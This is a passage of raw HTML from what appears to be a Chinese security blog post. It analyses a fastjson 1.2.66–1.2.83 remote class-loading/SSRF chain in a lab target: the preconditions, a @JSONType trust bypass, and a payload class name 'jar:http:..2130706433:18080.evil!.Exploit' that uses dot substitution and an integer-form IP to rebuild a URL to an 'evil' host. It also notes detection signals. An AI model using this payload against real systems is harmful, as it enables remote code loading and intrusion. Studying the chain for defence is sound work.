UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="4"><span textstyle="" style="letter-spacing: 0.5px;">jar:http://</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;" data-nest-level="3"> 远程类加载 URL。整条链可拆为以下阶段:</span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">1.前置条件</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mruhy7ezfzp" data-nest-level="4"><span leaf="" data-nest-level="5">这条链需要三个前置条件同时成立:</span></span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;" data-nest-level="2"><span leaf="" mpa-font-style="mruhy7ezclg" style="font-size: 15px;" data-nest-level="3"><span textstyle="" style="letter-spacing: 1px;">1.fastjson 1.2.66 ~ 1.2.83;</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;text-align: left;" data-nest-level="2"><span mpa-font-style="mruhy7ez1feg" style="font-size: 15px;" data-nest-level="3"><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">2.ParserConfig.defaultClassLoader</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 被设为一个 jar-URL-aware 的 ClassLoader——本实验用的是 Spring Boot 的 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">LaunchedURLClassLoader</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;">,它的 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">getResourceAsStream</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 会把 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">jar:<a href="http://...!/...class" target="_blank">http://...!/...class</a></span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 当真实嵌套 jar URL 处理并发起 HTTP 请求;</span></span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;text-align: left;" data-nest-level="2"><span mpa-font-style="mruhy7ez1456" style="font-size: 15px;" data-nest-level="3"><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;">3.目标环境应该是JDK 8因为JDK 9+ 的 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">defineClass</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 会拒绝 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">jar:<a href="http://...!/Exploit" target="_blank">http://...!/Exploit</a></span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 这种非法内部类名，RCE降级成 SSRF。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-indent: 0px;text-align: left;" data-nest-level="2"><span mpa-font-style="mruhy7ez22qt" style="font-size: 15px;" data-nest-level="3"><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;">靶机里的 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">LaunchedClassLoaderInitializer</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 通过反射构造 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">LaunchedURLClassLoader</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 并 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">setDefaultClassLoader</span></span></code></span><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mruhy7ez18ju" data-nest-level="4"><span leaf="" data-nest-level="5">,镜像了真实场景中&#34;应用主动把 jar-URL-aware loader 设给 fastjson&#34;的触发条件。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">2. @JSONType 探测(信任旁路)</span></strong></span></p></div></div></div></div></div><h3 data-nest-level="2" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrui0kpron6" data-nest-level="4"><span leaf="" data-nest-level="5">ParserConfig.checkAutoType</span></span></span><span mpa-font-style="mrui0kpseu0" style="font-size: 15px;" data-nest-level="3"><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 在走 autoType 主路前,先执行一段 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">@JSONType</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 探测:假设&#34;被标注 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;">@JSONType</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;"> 的类是受信任的业务类&#34;,对其放行。这段逻辑 不检查 autoType 开关、不走黑名单 hash 检查,是独立于 autoType 的信任通道:</span></span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrui0kpscza" data-nest-level="4"><span leaf="" data-nest-level="5">java</span></span></span></p><pre style="white-space:pre-wrap;" data-nest-level="2"><code data-lark-language="Plain Text" data-wrap="false" data-nest-level="3"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf=""><span class="code-snippet__type">String</span> <span class="code-snippet__variable">resource</span> <span class="code-snippet__operator">=</span> typeName.replace(<span class="code-snippet__string">&#39;.&#39;</span>, <span class="code-snippet__string">&#39;/&#39;</span>) + <span class="code-snippet__string">&#34;.class&#34;</span>;</span></code><br/><br/><code><span leaf=""><span class="code-snippet__type">InputStream</span> <span class="code-snippet__variable">is</span> <span class="code-snippet__operator">=</span> defaultClassLoader.getResourceAsStream(resource);</span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment">// 命中 @JSONType -&gt; TypeUtils.loadClass(typeName, defaultClassLoader, true)</span></span></code><br/><br/></pre></p></code><br/></pre><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">3.URL 还原</span></strong></span></p></div></div></div></div></div><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-mpa-action-id="mrui1eohszj" data-nest-level="2" data-pm-slice="0 0 []"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrui1eny1t8i" data-nest-level="4"><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="5">Payload </span><span leaf="" data-nest-level="5">里的&#34;类名&#34;是 </span></span></span><span mpa-font-style="mrui1eny6iq" style="font-size: 15px;" data-nest-level="3"><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" data-nest-level="5" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 0.5px;">jar:http:..2130706433:18080.evil!.Exploit</span></span></code><span leaf="" data-nest-level="4"><span textstyle="" style="letter-spacing: 1px;">。经过 </span></span><code data-nest-level="4" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" data-nest-level="5" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 0.5px;">typeName.replace(&#39;.&#39;, &#39;/&#39;)</span></span></code></span><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrui1eny1yey" data-nest-level="4"><span leaf="" data-nest-level="5"> 还原后:</span></span></span></p><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="3">text</span></p><pre style="white-space:pre-wrap;" data-nest-level="2"><code data-lark-language="Plain Text" data-wrap="false" data-nest-level="3"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__attr">jar</span>:<span class="code-snippet__attr">http</span>:.<span class="code-snippet__number">.2130706433</span>:<span class="code-snippet__number">18080.</span>evil!.<span class="code-snippet__property">Exploit</span></span></code><br/><br/><code><span leaf="">  →  <span class="code-snippet__attr">jar</span>:<span class="code-snippet__attr">http</span>:<span class="code-snippet__comment">//2130706433:18080/evil!/Exploit.class</span></span></code><br/><br/></pre></p></code><br/></pre><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="2"><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="3">两个关键技巧:</span></p><ul class="list-paddingleft-1"><li><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-nest-level="4"><code data-nest-level="5"><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="6">..</span></code><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span textstyle="" style="letter-spacing: 0.5px;"> → </span></span><code data-nest-level="5"><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="6">//</span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="5">:攻击者把 URL 中的 </span><code data-nest-level="5"><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="6">//</span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="5"> 用两个点替代写进&#34;类名&#34;,靠 fastjson 自己的 </span><code data-nest-level="5" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="6"><span textstyle="" style="letter-spacing: 0.5px;">replace</span></span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="5"> 把 URL 拼回来。</span></p></li><li><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-mpa-action-id="mruild7t24ge" data-nest-level="4" data-pm-slice="0 0 []"><code data-nest-level="5" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="6"><span textstyle="" style="letter-spacing: 0.5px;">2130706433</span></span></code><span style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><span leaf="" data-nest-level="6"><span textstyle="" style="letter-spacing: 0.5px;">:这是</span></span></span><span mpa-font-style="mruild7f1kjs" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="5"><code data-nest-level="6"><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="7" mpa-font-style="mruili2dgbk" data-mpa-action-id="mruili2s1zsk" data-pm-slice="0 0 []">127.0.0.1</span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="6"> 的</span></span><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="5">十进制整数形式。点状 IP 会被替换成 </span><code data-nest-level="5" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-align: left;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-nest-level="6"><span textstyle="" style="letter-spacing: 0.5px;">127/0/0/1</span></span></code><span leaf="" style="text-indent: 0px;letter-spacing: 1px;font-size: 15px;" data-nest-level="5"> 直接废掉,整数形式没有点,原样穿过替换并在 HTTP 层解析为回环地址。&#34;整数形式 IP 字面量&#34;是该漏洞的强信号特征之一。</span></p></li></ul><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4.SSRF + 远程类加载</span></strong></span></p></div></div></div></div></div><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;" data-nest-level="2"><code 